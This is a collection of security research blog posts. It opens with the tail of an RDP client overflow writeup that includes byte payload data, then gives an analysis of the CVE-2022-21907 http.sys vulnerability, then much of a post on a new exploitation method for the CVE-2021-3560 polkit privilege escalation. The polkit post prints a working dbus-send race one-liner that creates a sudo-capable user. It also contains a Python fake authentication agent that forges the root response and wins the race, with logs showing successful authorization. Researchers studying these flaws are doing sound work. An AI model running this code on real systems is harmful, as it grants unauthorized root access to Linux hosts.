"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x10\x11\x11\x12\x12\x12\x13\x13\x13\x13\x14\x14\x14\x14\x14\x14"

"\x09\x9c\x9a\x91\x80\x0c\x00\x1b\x93\x78";

Exp的尝试:

目前,我们可以获取的是一个对堆地址的溢出,并且可溢出数据的长度非常长达到0xFFFF FFFF级别,通常来说,这容易这种溢出很容易造成崩溃,不利用稳定利用。但溢出的内容是绝大部分可控的。在之前的分析调试中,我们可以注意到RDP协议中包含大量的重载虚函数,我们只需要提前布局一些可控的这种大内存堆,获取一个虚函数指针的跳转引用是可能的。

然而常规思路来说,最大的问题是缺少一个应用层可靠的跳转地址,来完成漏洞利用的第二阶段代码执行过程。我们没有一个具体的目标来实跳转。所以,我们需要尝试分析这样的可能:是否可以找到协议RDP客户端另外的功能,能够通过溢出控制其他客户端返回的数据长度来进行信息泄露。

但是通过后续分析现有的RDP通讯流程,发现绝大部分的数据都是从服务端发往客户端,客户端发送返回的大部分都是基于指令或者反馈的消息代码。似乎较难发现可靠的信息泄露方式。

总结:

通过整体的分析,可以看出相对于需要验证登录的服务端,一旦轻易相信服务端可靠性,并且由于RDP本身协议的复杂性,RDP客户端可能存在更广的被攻击面。

后续可能会有其他更多的的客户端漏洞被发现,但是要在最新的windows系统上利用这类RDP客户都安代码执行漏洞,似乎更迫切需要一个较稳定的信息泄露漏洞。

另外,对于该漏洞,我们并没有在hyper-V的具体环境中测试,在这里并不确定除了RDP协议本身之外的交互数据之外,hyper-V中是否一些更容易构造的读写源语来做到客户端可靠的信息泄露。

参考

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34535

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpev/5b62eacc-689f-4c53-b493-254b8685a5f6

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b

CVE-2022-21907 http协议远程代码执行漏洞分析总结

By: yyjb
12 April 2022 at 06:42

背景:

2021年最近的上一个http远程代码执行漏洞CVE-2021-31166中,由于其UAF的对象生命周期的有限性,似乎并不太可能在实际场景中实现利用。今年一月的安全更新中包含另一个http的远程代码执行漏洞CVE-2022-21907,根据官方更新说明这仍是一个非常严重的漏洞,我们有必要对他在实际环境中是否可能被利用进行进一步的判断。

开始准备分析之前的两点说明:

在开始分析之前,这里有两点分析过程中的思路提示需要提前说明。可以排除其他研究人员在理解这个漏洞可能产生的一些歧义。

A,最合适的补丁对比文件。

通常来说,我们在最开始选择对比的补丁文件时,尽量选择时间间隔最小的补丁文件。但是有时候,对于补丁文件的系统版本也非常重要。本例中,如果研究者使用server2019的http文件去分析,你会发现代码有太多改动是针对一些旧版代码的相对改动,并不是所有版本系统的某一模块都是一样的。

B,漏洞产生的方向。

这里我们说的方向主要指协议过程中,服务端和客户端的数据请求方向。通常来说一个可互联网蠕虫级别的漏洞,我们首先想到的触发方式可能是客户端向服务端发送请求,之后服务端在解析请求时发生的漏洞。如cve-2019-0708RDP代码执行漏洞以及永恒之蓝。但近年来随着这类漏洞发现的越来越困难,研究人员开始向将漏洞挖掘方向偏向于协议客户端的一些接收解析模块。但该漏洞似乎更加特殊,虽然它存在于服务端,却并不是解析处理客户端的具体数据内容模块,而是处于服务端接收客户端请求之后,进行的响应发送模块。

我们似乎并不能在最简单默认的http服务端系统配置中触发此漏洞,需要服务端包含一些特定的代码逻辑,该漏洞才会有比较大的威胁。具体来说,我们的poc代码是一个普通的http服务端代码,在其上加入有一些较小改动的特殊逻辑代码。只要客户端发起正常访问,即可触发服务端崩溃。

补丁分析:

我们使用最新的windows11的补丁文件进行分析。可以比较清晰的发现漏洞可能存在于这些代码中:ULpFastSendCompleteWorker,UlPFreeFastTracker,以及UlFastSendHttpResponse.中指针使用完之后清零的操作。另外有两处不太明显的代码即是申请FastTracker对象内存的函数:UlAllocateFastTracker和UlAllocateFastTrackerToLookaside.时,初始化部分头部内存。

通过梳理http快速响应包发送流程,我们可以发现这些补丁的作用都是针对FastTracker对象中的一些指针地址所进行的。

其中主要有以下三个对象指针。

FastTracker中的LogDatabuffer对象,UriCacheEntry对象以及一个FastTrackerMDL指针。

失败的尝试

通常来说,根据此漏洞的官方描述严重性,我们通常会先考虑这些对象是否存在UAF的情况。

我们优先分析了LogDatabuffer对象,UriCacheEntry对象的生命周期,如果仅从这两个对象的申请和释放过程判断,我们并没有找到较容易发现的触发可能的UAF错误方式。

之后开始考虑第三个FastTracker的MDL指针。

剩下的可能:

通过前面的测试结果以及分析思路,我们有留意到FastTracker本身在申请释放过程中其内存的一些变化,大致上,FastTracker对象的申请有两种情况,首先查看http响应结构中一些数据长度是否满足最低需求,以及http Tailers长度是否为空,满足条件则直接使用http内部链表对象,否则申请新的内存。问题在这里开始出现,补丁之前的代码,如果申请新内存,有一些关键偏移是没有初始化内存的。其中就包括FastTracker的MDL几个相关判断标志以及MDL本身的地址指针。

之后,思路就比较清晰了,我们需要做的就是构造这样的一个逻辑:当FastTracker申请内存成功之后,并在完全初始化MDL指针之前,故意触发一个HTTP快速响应流程中的任意一个错误,使http提前释放FastTracker对象。而这时,如果FastTracker对象中,未初始化的MDL相关指针位置包含申请内存时包含的一些随机数据,则可能导致这些随机数据被当作MDL指针进行引用。

说明:

这里需要提出一个特别注意的地方。即该漏洞与http Tailers的联系。

从表面上看,该漏洞的直接原因是新FastTracker对象重新从系统内存申请时,未初始化导致的。这样,Tailers长度是否为空作为FastTracker从系统内存申请的判断条件之一,则直接影响该漏洞是否能触发。但是如果继续分析,会发现,即使没有http Tailers的判断条件,该漏洞仍然是可以被触发的。

具体存在以下逻辑:如FastTracker对象申请流程图中,如果发现该http响应结构中不包含http Tailers,会先查询http内部链表,如有空闲对象,则使用空闲对象。这种情况下,这里仍有可能存在一种特殊情况,即内部链表被耗尽,仍需继续通过另一个UlAllocateFastTrackerToLookaside申请新的内存。不过微软已经注意到这里,同样修补了这里的FastTracker的初始化工作。但这意味着,即使http服务端没有开启支持 Tailers特性,该漏洞仍然是可能被触发的。测试之一,仅仅是增加对服务端的访问频率即可做到这一点。

poc

如该漏洞开始分析之前的描述,该漏洞poc主要为我们自己编写的一个http服务端。该服务端唯一不同的地方,是在http响应包发送流程中,在申请FastTracker之后,在FastTracker中的UriCacheEntry对象初始化之前,使http响应流程失败,并开始销毁FastTracker对象即可。(作为示例,其中一种方式,我们在服务端代码的响应包中,加入了一个超过http限制长度的固定头字符数据使得系统认为该固定头数据无效而丢弃)。

当然,要达到这个目的还有很多方式,还有另外的判断可以选择,。只要在这些响应包结构生成流程中(即UlFastSendHttpResponse),在如:UlGenerateMultipleKnownHeaders,UlGenerateFixedHeaders相应包结构生成的流程中出现判断失败,则该服务器代码就可能触发该漏洞。

然后触发该漏洞的方式只需要在客户端访问该端口并进入到我们服务端对应流程即可。因为我们没有刻意进行内存布局,并不是每次访问都能导致崩溃,这需要未初始化内存刚好符合FastTracker的MDL指针的一个标志判断。如下,满足v118+10的标志位为1.

漏洞触发堆栈如下:

总结:

最后,该http远程代码执行漏洞虽然在类型上仍属于UAF(use after free),但该漏洞实现exp有两个比较重要的前提条件待解决。1是该漏洞的触发原理,需要服务端的http代码中,包含一个流程错误的构造操作使HTTP FastTracker因为意外而提前释放,这需要http服务端开发人员在他的代码中刚好包含这样的一个逻辑。2另外则是该漏洞的利用实现方式,即通过布局HTTP FastTracker的未初始化的内存,通过漏洞触发去操作我们自己伪造的MDL指针结构。为了要执行代码,除了我们可能需要继续分析一种可能的信息泄露方式(如构造读写源语或者利用MDL本身的一些机制),但我们仍有大量的后续代码执行方式上的尝试工作要做。所以,就目前短时间来说,该漏洞被利用的困难程度可能较大。

但是对于那些未启用http Tailers支持的服务器,也需要尽快更新此补丁。

参考:

https://piffd0s.medium.com/patch-diffing-cve-2022-21907-b739f4108eee

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-21907

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

By: RicterZ
27 May 2022 at 08:52
A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

 

English Version: http://noahblog.360.cn/a-new-exploit-method-for-cve-2021-3560-policykit-linux-privilege-escalation-en

0x01. The Vulnerability

PolicyKit CVE-2021-3560 是 PolicyKit 没有正确的处理错误,导致在发送 D-Bus 信息后立刻关闭程序后,PolicyKit 错误的认为信息的发送者为 root 用户,从而通过权限检查,实现提权而产生的漏洞。漏洞的利用方式如下:

dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply \
    /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser \
    string:boris string:"Boris Ivanovich Grishenko" int32:1 & sleep 0.008s ; kill $!

以上命令的作用是在发送 D-Bus 信息后,在一个极短的时间差后利用 kill 命令杀死进程,经过多次尝试条件竞争后,可以实现以一个低权限用户添加一个拥有 sudo 权限的用户。

根据漏洞作者的描述和利用方法可知,此漏洞成功利用需要三个组件:

  1. Account Daemon,此服务用来添加用户;
  2. Gnome Control Center,此服务会用 org.freedesktop.policykit.imply 修饰 Account Daemon 的方法;
  3. PolicyKit ≥ 0.113。

其中 Account Daemon 和 Gnomo Control Center 在非桌面版的系统、Red Hat Linux 等系统中并不存在,这无疑减小了漏洞的利用覆盖面。

但是通过对于此漏洞的原理深入研究,我发现漏洞利用并没有特别大的限制,仅存在 PolicyKit 和一些基础 D-Bus 服务(比如 org.freedesktop.systemd1)的系统中仍然可以成功利用。在进行研究的过程中,发现实现利用需要涉及比较多的知识点,需要深入理解此漏洞的原理及 PolicyKit 的相关认证机制和流程。本文章旨在将整体的研究方法尽可能详细的描述出来,如有错误请指正。

0x02. Do Really Need an Imply Annotated Action

在漏洞作者的文章中(https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/)明确的写道:

The authentication bypass depends on the error value getting ignored. It was ignored on line 1121, but it's still stored in the error parameter, so it also needs to be ignored by the caller. The block of code above has a temporary variable named implied_error, which is ignored when implied_result isn't null. That's the crucial step that makes the bypass possible.

大体含义就是必须要有 org.freedesktop.policykit.imply 修饰后的方法才能实现认证绕过。根据文章中的 PoC 来看,这一点确实是母庸质疑的。具体原因和漏洞原理结合的非常紧密,可以通过查看代码来理解。首先先看一下 CVE-2021-3560 的漏洞函数,代码基于 Github 上的 polkit 0.115 版本:

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
               guint32                       *out_uid,
               guint32                       *out_pid,
               GCancellable                  *cancellable,
               GError                       **error)
{

  // ...
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixUser",      /* method */
        // ...
        &data);
  g_dbus_connection_call (connection,
        "org.freedesktop.DBus",       /* name */
        "/org/freedesktop/DBus",      /* object path */
        "org.freedesktop.DBus",       /* interface name */
        "GetConnectionUnixProcessID", /* method */
        // ...
        &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE);

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE;

  return ret;
}


polkit_system_bus_name_get_creds_sync 函数调用了两个 D-Bus 方法后,没有处理 data.caugh_error,直接设置了 out_uiddata.uid,又由于 data.uid 为 NULL,从而导致 out_uid 为 NULL,也就是 0,为 root 用户的 uid,从而错误的认为这个进程为 root 权限进程。

但是需要注意的是,在遇到错误时,data.error 会被设置为错误的信息,所以这里需要接下来的函数只验证了 ret 是否为 TRUE,而不去验证有没有错误。幸运的是,PolicyKit 中一个用途非常广泛的函数 check_authorization_sync就没有验证:

static PolkitAuthorizationResult *
check_authorization_sync (PolkitBackendAuthority         *authority,
                          PolkitSubject                  *caller,
                          PolkitSubject                  *subject,
                          const gchar                    *action_id,
                          PolkitDetails                  *details,
                          PolkitCheckAuthorizationFlags   flags,
                          PolkitImplicitAuthorization    *out_implicit_authorization,
                          gboolean                        checking_imply,
                          GError                        **error)
{
  // ...
  user_of_subject = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                         subject, NULL,
                                                                         error);
  /* special case: uid 0, root, is _always_ authorized for anything */
  if (identity_is_root_user (user_of_subject)) {
      result = polkit_authorization_result_new (TRUE, FALSE, NULL);
      goto out;
  }
  // ...
  if (!checking_imply) {
      actions = polkit_backend_action_pool_get_all_actions (priv->action_pool, NULL);
      for (l = actions; l != NULL; l = l->next) {
           // ...
           imply_action_id = polkit_action_description_get_action_id (imply_ad);
           implied_result = check_authorization_sync (authority, caller, subject,
                                                      imply_action_id,
                                                      details, flags,
                                                      &implied_implicit_authorization, TRUE,
                                                      &implied_error);
           if (implied_result != NULL) {
           if (polkit_authorization_result_get_is_authorized (implied_result)) {
               g_debug (" is authorized (implied by %s)", imply_action_id);
               result = implied_result;
               /* cleanup */
               g_strfreev (tokens);
               goto out;
           }
  // ...

这个函数有两处问题,第一个就是第一次调用 polkit_backend_session_monitor_get_user_for_subject 的时候直接返回 uid 为 0 的信息,然后直接通过认证,第二次是在检查 imply action 时,循环调用 check_authorization_sync 后再次遇到 polkit_backend_session_monitor_get_user_for_subject 返回 uid 为 0 的信息。所以此函数存在两个条件竞争的时间窗口:

check_authorization_sync 
-> polkit_backend_session_monitor_get_user_for_subject 
 -> return uid = 0

check_authorization_sync
 -> check_authorization_sync
  -> polkit_backend_session_monitor_get_user_for_subject 
   -> return uid = 0

漏洞作者分析到这里时,发现第一个竞争时间窗口并不能成功,因为后续调用 check_authorization_sync的函数都检查了错误信息,所以只能通过第二个时间窗口进行利用,也就是需要一个被 org.freedesktop.policykit.imply 修饰过的 action。首先解释下什么是 org.freedesktop.policykit.imply 修饰。

PolicyKit 的 action policy 配置文件通常在 /usr/share/polkit-1/actions/ 目录下,文件的内容如下所示:

<?xml version="1.0" encoding="UTF-8"?> <!--*-nxml-*-->
<!DOCTYPE policyconfig PUBLIC "-//freedesktop//DTD PolicyKit Policy Configuration 1.0//EN"
        "http://www.freedesktop.org/standards/PolicyKit/1/policyconfig.dtd">

<policyconfig>
        <vendor>The systemd Project</vendor>
        <vendor_url>http://www.freedesktop.org/wiki/Software/systemd</vendor_url>

        <action id="org.freedesktop.systemd1.manage-unit-files">
                <description gettext-domain="systemd">Manage system service or unit files</description>
                <message gettext-domain="systemd">Authentication is required to manage system service or unit files.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
                <annotate key="org.freedesktop.policykit.imply">org.freedesktop.systemd1.reload-daemon org.freedesktop.systemd1.manage-units</annotate>
        </action>

        <action id="org.freedesktop.systemd1.reload-daemon">
                <description gettext-domain="systemd">Reload the systemd state</description>
                <message gettext-domain="systemd">Authentication is required to reload the systemd state.</message>
                <defaults>
                        <allow_any>auth_admin</allow_any>
                        <allow_inactive>auth_admin</allow_inactive>
                        <allow_active>auth_admin_keep</allow_active>
                </defaults>
        </action>

</policyconfig>

可以发现,org.freedesktop.systemd1.manage-unit-files 这个 action 拥有 org.freedesktop.policykit.imply 修饰,这个修饰的意义是,当一个 subject 拥有 org.freedesktop.systemd1.reload-daemon 或者 org.freedesktop.systemd1.manage-units 权限时,也同时拥有此项权限。所以被修饰过的方法基本上可以视作为和修饰方法等价的,这也就是这个修饰的作用。

话说回来,在实际上,被此漏洞所影响的上层函数并不止 check_authorization_sync ,如下所有函数都会被这个漏洞所影响:

  1. polkit_system_bus_name_get_creds_sync
  2. polkit_backend_session_monitor_get_user_for_subject
  3. check_authorization_sync

通过搜索代码,我发现了一个对我而言十分熟悉的函数调用了 polkit_backend_session_monitor_get_user_for_subject 函数:polkit_backend_interactive_authority_authentication_agent_response

static gboolean
polkit_backend_interactive_authority_authentication_agent_response (PolkitBackendAuthority   *authority,
                                                              PolkitSubject            *caller,
                                                              uid_t                     uid,
                                                              const gchar              *cookie,
                                                              PolkitIdentity           *identity,
                                                              GError                  **error)
{

  // ...
  identity_str = polkit_identity_to_string (identity);
  g_debug ("In authentication_agent_response for cookie '%s' and identity %s",
           cookie,
           identity_str);
  user_of_caller = polkit_backend_session_monitor_get_user_for_subject (priv->session_monitor,
                                                                        caller, NULL,
                                                                        error);

  /* only uid 0 is allowed to invoke this method */
  if (!identity_is_root_user (user_of_caller)) {
      goto out;
  }
  // ...

这个方法是 PolicyKit 用来处理 Authentication Agent 调用的 AuthenticationAgentResponseAuthenticationAgentResponse2 方法的。那么,什么是 Authentication Agent,它又拥有什么作用呢?

0x03. What is Authentication Agent

在日常使用 Linux 的时候,如果不是利用 root 账号登录桌面环境,在执行一些需要 root 权限的操作时,通常会跳出一个对话框让你输入密码,这个对话框的程序就是 Authentication Agent:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

在命令行中,同样也有 Authentication Agent,比如 pkexec 命令:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

一个 Authentication Agent 通常为 suid 程序,这样可以保证调用 PolicyKit 的授权方法时的调用方(caller)为 root,而来自 root 用户的方法调用是可以信任的。Authencation Agent的认证流程如下所示:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation
  1. Client 在需要提升权限时,会启动 setuid 的 Authentication Agent;
  2. Authentication Agent 会启动一个 D-Bus 服务,用来接收 PolicyKit 的相关认证调用;
  3. Authentication Agent 会去 PolicyKit 注册自己,来接管对于客户端程序调用的 D-Bus 方法的认证请求: CheckAuthorization
  4. 当收到 CheckAuthorization 请求时,PolicyKit 会调用 Authencation Agent 的 BeginAuthentication 方法;
  5. Authentication Agent 接收到方法调用后,会要求用户输入密码进行认证;
  6. Authentication Agent 验证密码没有问题,则会调用 PolicyKit 提供的 AuthenticationAgentResponse 方法;
  7. PolicyKit 收到 AuthenticationAgentResponse 方法调用后,会检查调用方是不是 root 权限,接着会检查其他信息(cookie);
  8. 检查无误后,PolicyKit 对于 D-Bus Service 的 CheckAuthorization 方法返回 TRUE,表示认证通过;
  9. D-Bus Service 收到返回后,允许执行用户所调用的方法。

虽然流程较为复杂,但是不难发现,整个流程的信任保证主要是在第 7 步中验证 AuthenticationAgentResponse 的调用方是否为 root。但是由于 CVE-2021-3560 的存在,这个信任被打破了。所以我们可以通过伪造 AuthenticationAgentResponse 的调用方,来完成整个认证流程,实现任意 D-Bus Service 方法的调用。

0x04. Write Your Agent

利用 dbus-python 和相关 example 代码,我们可以实现一个 Authencation Agent 的基本骨架:

import os
import dbus
import dbus.service
import threading

from gi.repository import GLib
from dbus.mainloop.glib import DBusGMainLoop


class PolkitAuthenticationAgent(dbus.service.Object):
    def __init__(self):
        bus = dbus.SystemBus(mainloop=DBusGMainLoop())
        self._object_path = '/org/freedesktop/PolicyKit1/AuthenticationAgent'
        self._bus = bus
        with open("/proc/self/stat") as stat:
            tokens = stat.readline().split(" ")
            start_time = tokens[21]

        self._subject = ('unix-process',
                         {'pid': dbus.types.UInt32(os.getpid()),
                          'start-time': dbus.types.UInt64(int(start_time))})

        bus.exit_on_disconnect = False
        dbus.service.Object.__init__(self, bus, self._object_path)
        self._loop = GLib.MainLoop()
        self.register()
        print('[*] D-Bus message loop now running ...')
        self._loop.run()

    def register(self):
        proxy = self._bus.get_object(
                'org.freedesktop.PolicyKit1',
                '/org/freedesktop/PolicyKit1/Authority')
        authority = dbus.Interface(
                proxy,
                dbus_interface='org.freedesktop.PolicyKit1.Authority')
        authority.RegisterAuthenticationAgent(self._subject,
                                              "en_US.UTF-8",
                                              self._object_path)
        print('[+] PolicyKit authentication agent registered successfully')
        self._authority = authority

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        self._bus.send_message(message)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()


if __name__ == '__main__':
    main()


接着尝试增加代码,进行调用:

def handler(*args):
    print('[*] Method response: {}'.format(str(args)))


def set_timezone():
    print('[*] Starting SetTimezone ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.timedate1', '/org/freedesktop/timedate1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.timedate1')
    interface.SetTimezone('Asia/Shanghai', True, reply_handler=handler, error_handler=handler)


def main():
    threading.Thread(target=PolkitAuthenticationAgent).start()
    time.sleep(1)
    threading.Thread(target=set_timezone).start()

运行程序:

dev@test:~$ python3 agent.py
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Received authentication request
[*] Action ID: org.freedesktop.timedate1.set-timezone
[*] Cookie: 3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d
[*] Method response: (DBusException(dbus.String('Permission denied')),)

同时 PolicyKit 的输出为:

** (polkitd:186082): DEBUG: 00:37:29.575: In authentication_agent_response for cookie '3-31e1bb8396c301fad7e3a40706ed6422-1-0a3c2713a55294e172b441c1dfd1577d' and identity unix-user:root
** (polkitd:186082): DEBUG: 00:37:29.576: OUT: Only uid 0 may invoke this method.
** (polkitd:186082): DEBUG: 00:37:29.576: Authentication complete, is_authenticated = 0
** (polkitd:186082): DEBUG: 00:37:29.577: In check_authorization_challenge_cb
  subject                system-bus-name::1.6846
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

00:37:29.577: Operator of unix-process:186211:9138723 FAILED to authenticate to gain authorization for action org.freedesktop.timedate1.set-timezone for system-bus-name::1.6846 [python3 agent.py] (owned by unix-user:dev)

可见我们的 Authentication Agent 已经正常工作了,可以接收到 PolicyKit 发送的 BeginAuthentication 方法调用,并且PolicyKit 会提示 Only uid 0 may invoke this method,是因为我们的 AuthenticationAgentResponse 发送用户为 dev 用户而非 root 用户。

0x05. Trigger The Vulnerability

接下来尝试触发漏洞,我们尝试在发送完请求后立刻结束进程:

self._bus.send_message(message)
os.kill(os.getpid(), 9)

多次调用查看:

** (polkitd:186082): DEBUG: 01:09:17.375: In authentication_agent_response for cookie '51-20cf92ca04f0c6b029d0309dbfe699b5-1-3d3e63e4e98124979952a29a828057c7' and identity unix-user:root
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: RET: 1
** (polkitd:186082): DEBUG: 01:09:17.377: Removing authentication agent for unix-process:189453:9329523 at name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent (disconnected from bus)
01:09:17.377: Unregistered Authentication Agent for unix-process:189453:9329523 (system bus name :1.6921, object path /org/freedesktop/PolicyKit1/AuthenticationAgent, locale en_US.UTF-8) (disconnected from bus)
** (polkitd:186082): DEBUG: 01:09:17.377: OUT: error
Error performing authentication: GDBus.Error:org.freedesktop.DBus.Error.NoReply: Message recipient disconnected from message bus without replying (g-dbus-error-quark 4)

(polkitd:186082): GLib-WARNING **: 01:09:17.379: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.6921': no such name
** (polkitd:186082): DEBUG: 01:09:17.380: In check_authorization_challenge_cb
  subject                system-bus-name::1.6921
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 0

可以发现,polkit_backend_interactive_authority_authentication_agent_response 函数的返回值为 TRUE,但是在 check_authorization_challenge_cb 函数中仍然是未授权状态,注意到 Error performing authentication 的错误信息,定位到函数 authentication_agent_begin_cb

static void
authentication_agent_begin_cb (GDBusProxy   *proxy,
                               GAsyncResult *res,
                               gpointer      user_data)
{
  error = NULL;
  result = g_dbus_proxy_call_finish (proxy, res, &error);
  if (result == NULL)
    {
      g_printerr ("Error performing authentication: %s (%s %d)\n",
                  error->message,
                  g_quark_to_string (error->domain),
                  error->code);
      if (error->domain == POLKIT_ERROR && error->code == POLKIT_ERROR_CANCELLED)
        was_dismissed = TRUE;
      g_error_free (error);
    }
  else
    {
      g_variant_unref (result);
      gained_authorization = session->is_authenticated;
      g_debug ("Authentication complete, is_authenticated = %d", session->is_authenticated);
    }

代码逻辑为,当 g_dbus_proxy_call_finish 函数没有错误的情况下,才会设置 is_authenticated 为 TRUE。而 g_dbus_proxy_call_finish 函数的作用描述如下:

Finishes an operation started with g_dbus_proxy_call().
You can then call g_dbus_proxy_call_finish() to get the result of the operation.

而同时错误信息也显示了:

Message recipient disconnected from message bus without replying

如果想成功的进行条件竞争,首先就需要解决这个问题。通过 dbus-monitor 命令观察正常情况和错误情况的调用结果,成功的情况如下所示:

method call   sender=:1.3174 -> destination=:1.3301 serial=6371 member=BeginAuthentication
method call   sender=:1.3301 -> destination=:1.3174 serial=6    member=AuthenticationAgentResponse2 
method return sender=:1.3301 -> destination=:1.3174 serial=7 reply_serial=6371

失败的情况如下所示:

method call sender=:1.3174 -> destination=:1.3301 serial=12514 member=BeginAuthentication 
method call sender=:1.3301 -> destination=:1.3174 serial=6     member=AuthenticationAgentResponse2 
error       sender=org.freedesktop.DBus -> destination=:1:3174 error_name=org.freedesktop.DBus.Error.NoReply

其中 :1:3174 为 PolicyKit,:1.3301 为 Authentication Agent。成功的情况下,Authentication Agent 会发送一个 method return 消息,指向的是 BeginAuthentication 的调用序列号,表示这个方法已经成功调用了,而失败的情况下则是由 D-Bus Daemon 向 PolicyKit 发送一个 NoReply 的错误。

0x06. The Time Window

通过以上分析可以得到我们的漏洞触发的时间窗口:在发送 method return 消息后,在获取 AuthenticationAgentResponse2 的 caller 前结束进程。为了精确控制消息发送,我们修改 Authentication Agent 的代码如下:

    @dbus.service.method(
            dbus_interface="org.freedesktop.PolicyKit1.AuthenticationAgent",
            in_signature="sssa{ss}saa{sa{sv}}", message_keyword='_msg')
    def BeginAuthentication(self, action_id, message, icon_name, details,
                            cookie, identities, _msg):
        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))


        def send(msg):
            self._bus.send_message(msg)

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
                                                  '/org/freedesktop/PolicyKit1/Authority',
                                                  'org.freedesktop.PolicyKit1.Authority',
                                                  'AuthenticationAgentResponse2')
        message.append(dbus.types.UInt32(os.getuid()))
        message.append(cookie)
        message.append(identities[0])
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

查看 PolicyKit 输出,发现已经成功认证:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1

同时系统时区也已经成功更改。

0x07. Before The Exploit

相比于漏洞作者给出的 Account Daemon 利用,我选择了使用 org.freedesktop.systemd1。首先我们摆脱了必须使用 org.freedesktop.policykit.imply 修饰过的方法的限制,其次因为这个 D-Bus Service 几乎在每个 Linux 系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
...
  interface org.freedesktop.systemd1.Manager {
      ...
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      ...
